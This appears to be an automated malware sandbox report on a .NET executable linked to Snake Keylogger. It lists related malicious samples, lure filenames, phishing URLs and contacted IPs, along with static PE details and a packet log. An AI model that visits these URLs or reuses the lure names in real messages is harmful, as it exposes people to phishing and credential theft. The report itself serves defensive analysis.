	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	proforma_Invoice_0009300_74885959969_9876.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	xdd6BRIg0O.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	132.226.247.73
scratchdreams.tk	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	ATM Dekont E-Maili pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.27.85
	Halkbank_Ekstre_20240312_081829_752731.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Q88 09284823910.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	SecuriteInfo.com.Trojan.PackedNET.2725.1552.3502.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	SecuriteInfo.com.Trojan.PackedNET.2725.8730.30889.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	vessel details.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
reallyfreegeoip.org	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	sipari#U015f formu_831512.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	23343100IM00270839_Dekont1.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	PROFORMA FATURA.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	proforma_Invoice_0009300_74885959969_9876.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	xdd6BRIg0O.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.177.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	C0v8GOapdi.elf	Get hash	malicious	Mirai, Okiru	Browse	129.147.194.25
	http://www.ibm.com/procurement/esi	Get hash	malicious	Unknown	Browse	132.145.172.253
	SOgv6zN9CC.exe	Get hash	malicious	FormBook, PureLog Stealer, XWorm	Browse	168.138.211.88
	http://x.e.elmundo.es/ats/msg.aspx?sg1=307395850730fc0ad5a800fdddf65900	Get hash	malicious	Unknown	Browse	147.154.159.252
	97zyqEu4Nh.elf	Get hash	malicious	Moobot	Browse	150.136.209.246
	https://www.intermundial.es/blog/superpwa-sw.js?1711113962	Get hash	malicious	Unknown	Browse	130.35.103.62
	https://ioa.pages.dev/account/js-reporting/?crumb=uZ4.07kERLI&message=javascript_not_enabled&ref=%2Faccount%2Fchallenge%2FpasswordIP:	Get hash	malicious	HTMLPhisher	Browse	150.136.26.45
	https://trhj.pages.dev/IP:	Get hash	malicious	HTMLPhisher	Browse	193.122.128.135
	https://lanecain-homes.com/	Get hash	malicious	Unknown	Browse	193.122.130.38
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
CLOUDFLARENETUS	http://www.munichsecurity.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:c6e86077-ef65-4d67-a1ae-540c15f32abd	Get hash	malicious	Unknown	Browse	104.17.27.92
	new invoice.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	#Play Voice Rec202401985.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://www.ibm.com/procurement/esi	Get hash	malicious	Unknown	Browse	104.18.89.228
	SecuriteInfo.com.Variant.Ser.MSILHeracles.1518.31245.9477.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	0lujRkTbEG.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	104.26.13.205
	RCP000004689 SWIFT COPY.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://bafybeihog4kdcv6u7qpf5mt3zirrdjmanxqsehbx5xxarsugpzzybnhzr4.ipfs.cf-ipfs.com/don.html#csccomplaints@dvsa.gov.uk	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://track.replies.force24.co.uk/f/a/Xcy9cOoiyUAgwEbReRRuqQ~~/AAAnTwA~/RgRn5F6jP0RlaHR0cHM6Ly94eC5sbmNvNS5zYS5jb20vZGRkZG9jdS9yYWJpbi9uaXFob3AvYUdWc2JHOUFZMjl0YlhNdWNtRmthWFZ6YVc1emRYSmhibU5sYzI5c2RYUnBiMjV6TG1OdmJRPT1XBXNwY2V1Qgpl_CMrA2aAxfjlUiFpbmZvQHJhZGl1c2luc3VyYW5jZXNvbHV0aW9ucy5jb21YBAAAAAQ~	Get hash	malicious	HTMLPhisher	Browse	172.67.139.119
CLOUDFLARENETUS	http://www.munichsecurity.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:c6e86077-ef65-4d67-a1ae-540c15f32abd	Get hash	malicious	Unknown	Browse	104.17.27.92
	new invoice.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	#Play Voice Rec202401985.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://www.ibm.com/procurement/esi	Get hash	malicious	Unknown	Browse	104.18.89.228
	SecuriteInfo.com.Variant.Ser.MSILHeracles.1518.31245.9477.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	0lujRkTbEG.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	104.26.13.205
	RCP000004689 SWIFT COPY.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://bafybeihog4kdcv6u7qpf5mt3zirrdjmanxqsehbx5xxarsugpzzybnhzr4.ipfs.cf-ipfs.com/don.html#csccomplaints@dvsa.gov.uk	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://track.replies.force24.co.uk/f/a/Xcy9cOoiyUAgwEbReRRuqQ~~/AAAnTwA~/RgRn5F6jP0RlaHR0cHM6Ly94eC5sbmNvNS5zYS5jb20vZGRkZG9jdS9yYWJpbi9uaXFob3AvYUdWc2JHOUFZMjl0YlhNdWNtRmthWFZ6YVc1emRYSmhibU5sYzI5c2RYUnBiMjV6TG1OdmJRPT1XBXNwY2V1Qgpl_CMrA2aAxfjlUiFpbmZvQHJhZGl1c2luc3VyYW5jZXNvbHV0aW9ucy5jb21YBAAAAAQ~	Get hash	malicious	HTMLPhisher	Browse	172.67.139.119

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	vHpxL6E2sQ.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, SmokeLoader	Browse	172.67.177.134
	PURCHASE_ORDER.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	172.67.177.134
	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	SecuriteInfo.com.Win32.MalwareX-gen.21073.8844.exe	Get hash	malicious	Unknown	Browse	172.67.177.134
	SecuriteInfo.com.Win32.MalwareX-gen.21073.8844.exe	Get hash	malicious	Unknown	Browse	172.67.177.134
	WKn5bYRJGH.exe	Get hash	malicious	LimeRAT	Browse	172.67.177.134
	https://docs.google.com/presentation/d/e/2PACX-1vSnrTuq809z4LSHZqJ8P3wAQ53C3bvUxFdD6jZcKbHNhhtXi1pH09I7Bs_0wQholvsfGmN1vz9cOMU8/pub?start=false&loop=false&delayms=3000&slide=id.p	Get hash	malicious	Unknown	Browse	172.67.177.134
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	noDmpaxL0x.exe	Get hash	malicious	Babuk, Djvu, Glupteba, SmokeLoader, Xehook Stealer	Browse	172.67.177.134
	doTtQFWKly.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xehook Stealer	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	new invoice.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	SecuriteInfo.com.Variant.Ser.MSILHeracles.1518.31245.9477.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	0lujRkTbEG.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	104.21.27.85
	RCP000004689 SWIFT COPY.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	http://rocycheeks.com	Get hash	malicious	Unknown	Browse	104.21.27.85
	IN3 0GC-(94762)_489.lnk	Get hash	malicious	RHADAMANTHYS	Browse	104.21.27.85
	WRbiXjr77v.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	104.21.27.85
	SecuriteInfo.com.Win32.PWSX-gen.21299.5155.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	MonKeyVPN1.0.9.exe.exe	Get hash	malicious	Metasploit	Browse	104.21.27.85
	MonKeyVPN1.0.9.exe.exe	Get hash	malicious	Metasploit	Browse	104.21.27.85

Process:	C:\Users\user\Desktop\PT98765445670009.scr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	706
Entropy (8bit):	5.349842958726647
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKharkvoDLI4MWuCq1KDLI4Mq92n4M6:ML9E4KlKDE4KhKiKhIE4Kx1qE4x84j
MD5:	A29F1F0983CFE0767B56BD3F32906196
SHA1:	A38543CAD5E151383FA945FF880856DC502A1224
SHA-256:	B892C3A6D2059FF69822E3A0003923BE0C0B2259C0E4904E30BB10C3D6E575F6
SHA-512:	FF52BC638E135EB070B6291808FE57FE8F2A37BB9F32DF2D6A885B30CC37268237A110E419975F19FB08878544787FA9D6A0AA07DC6911E08FBF52155F64DE42
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.2680634848839585
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	PT98765445670009.scr.exe
File size:	638'464 bytes
MD5:	90a34e7d570fa7c219eb5f1f193611ba
SHA1:	0d5d3955b04174b8f21c7bdd8d80ff21507e409c
SHA256:	301271b7db09d4769df8953807ea16c44578a4c4b92ef50f24da27c144f95522
SHA512:	75177b9ddf945e4dc46fb20174385faddfc569ea99cc095d1e1f9f4a96b9accc7dfcc1f6a1bd15d5740438e8ef63784ce870dfb3ea8d8c5387cc652324ace955
SSDEEP:	12288:npahc5sgNxUQx/rYquAfVCto8UHv/9EeRxDVl5nX:nZsgbFkq2tNUHDFVXX
TLSH:	AAD49D2033FC522AE2BF4B70E97940940BB6BE075EA6D35E489135DE0DB37818A53767
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#1................0.............n.... ........@.. ....................................@................................

File Icon


Icon Hash:	526c6a52d0e4f047

Static PE Info

General

Entrypoint:	0x49bc6e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF9CC3123 [Sat Oct 21 21:18:27 2102 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9bc1c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9c000	0x1b7c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x99c74	0x99e00	142b70b6afb38c0d6ce5233ad81a773a	False	0.6303072324329814	data	7.276750369053607	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x9c000	0x1b7c	0x1c00	de75c8118bc1bf4ad3c303a622710081	False	0.3462611607142857	data	5.574966851848031	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x9e000	0xc	0x200	8f380dc079a03d92d08433751817a386	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x9c160	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.2675891181988743
RT_ICON	0x9d208	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.5106382978723404
RT_GROUP_ICON	0x9d670	0x22	data	0.9411764705882353
RT_VERSION	0x9d694	0x2fc	data	0.43717277486910994
RT_MANIFEST	0x9d990	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2024 11:24:05.321327925 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:05.501127005 CET	80	49699	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:05.501236916 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:05.501516104 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:05.681154966 CET	80	49699	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:05.681735992 CET	80	49699	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:05.712584972 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:05.893754959 CET	80	49699	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:05.942640066 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:06.052438021 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.052467108 CET	443	49700	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.052555084 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.060863972 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.060874939 CET	443	49700	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.264913082 CET	443	49700	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.265034914 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.272123098 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.272133112 CET	443	49700	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.272433043 CET	443	49700	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.317677021 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.327872038 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.372230053 CET	443	49700	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.790426016 CET	443	49700	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.790544987 CET	443	49700	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.790608883 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.798187971 CET	49700	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.802086115 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:06.982444048 CET	80	49699	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:06.985083103 CET	49701	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.985131025 CET	443	49701	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:06.985198021 CET	49701	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.985419989 CET	49701	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:06.985434055 CET	443	49701	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:07.036369085 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:07.183429003 CET	443	49701	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:07.185760021 CET	49701	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:07.185787916 CET	443	49701	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:07.713412046 CET	443	49701	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:07.713536024 CET	443	49701	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:07.713603020 CET	49701	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:07.714032888 CET	49701	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:07.717495918 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:07.718532085 CET	49702	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:07.899482965 CET	80	49699	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:07.899540901 CET	49699	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:07.900109053 CET	80	49702	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:07.900192022 CET	49702	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:07.900430918 CET	49702	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:08.080039024 CET	80	49702	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:08.080908060 CET	80	49702	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:08.082393885 CET	49703	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:08.082429886 CET	443	49703	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:08.082493067 CET	49703	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:08.082865000 CET	49703	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:08.082880974 CET	443	49703	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:08.130130053 CET	49702	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:08.283318996 CET	443	49703	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:08.285265923 CET	49703	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:08.285291910 CET	443	49703	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:08.846152067 CET	443	49703	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:08.846255064 CET	443	49703	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:08.846307039 CET	49703	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:08.847071886 CET	49703	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:08.851450920 CET	49702	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:08.852654934 CET	49704	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:09.031055927 CET	80	49702	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:09.031131983 CET	49702	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:09.032274961 CET	80	49704	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:09.032461882 CET	49704	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:09.032620907 CET	49704	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:09.213268042 CET	80	49704	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:09.214004040 CET	80	49704	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:09.215281010 CET	49705	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:09.215321064 CET	443	49705	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:09.215526104 CET	49705	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:09.215811968 CET	49705	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:09.215826035 CET	443	49705	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:09.255141973 CET	49704	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:09.420753956 CET	443	49705	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:09.422741890 CET	49705	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:09.422770023 CET	443	49705	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:09.953572989 CET	443	49705	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:09.953699112 CET	443	49705	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:09.953860044 CET	49705	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:09.954428911 CET	49705	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:09.960139990 CET	49706	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:10.143742085 CET	80	49706	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:10.149022102 CET	49706	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:10.149310112 CET	49706	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:10.334395885 CET	80	49706	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:10.334887981 CET	80	49706	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:10.336222887 CET	49707	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:10.336260080 CET	443	49707	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:10.336812973 CET	49707	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:10.337167978 CET	49707	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:10.337181091 CET	443	49707	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:10.383099079 CET	49706	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:10.536447048 CET	443	49707	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:10.538256884 CET	49707	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:10.538299084 CET	443	49707	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:10.778023958 CET	443	49707	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:10.778126001 CET	443	49707	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:10.778453112 CET	49707	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:10.778765917 CET	49707	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:10.782998085 CET	49706	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:10.783521891 CET	49708	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:10.966515064 CET	80	49706	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:10.966794968 CET	49706	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:10.967082977 CET	80	49708	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:10.967255116 CET	49708	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:10.967328072 CET	49708	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:11.150995970 CET	80	49708	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:11.151983023 CET	80	49708	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:11.156071901 CET	49709	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:11.156105042 CET	443	49709	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:11.156270981 CET	49709	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:11.156554937 CET	49709	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:11.156568050 CET	443	49709	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:11.192672968 CET	49708	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:11.353821039 CET	443	49709	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:11.355441093 CET	49709	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:11.355462074 CET	443	49709	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:11.920686960 CET	443	49709	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:11.920787096 CET	443	49709	172.67.177.134	192.168.2.7
Mar 27, 2024 11:24:11.920840979 CET	49709	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:11.921503067 CET	49709	443	192.168.2.7	172.67.177.134
Mar 27, 2024 11:24:11.925770998 CET	49708	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:11.927170992 CET	49710	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:12.107090950 CET	80	49710	193.122.6.168	192.168.2.7
Mar 27, 2024 11:24:12.107961893 CET	49710	80	192.168.2.7	193.122.6.168
Mar 27, 2024 11:24:12.108155012 CET	49710	80	192.168.2.7	193.122.6.168
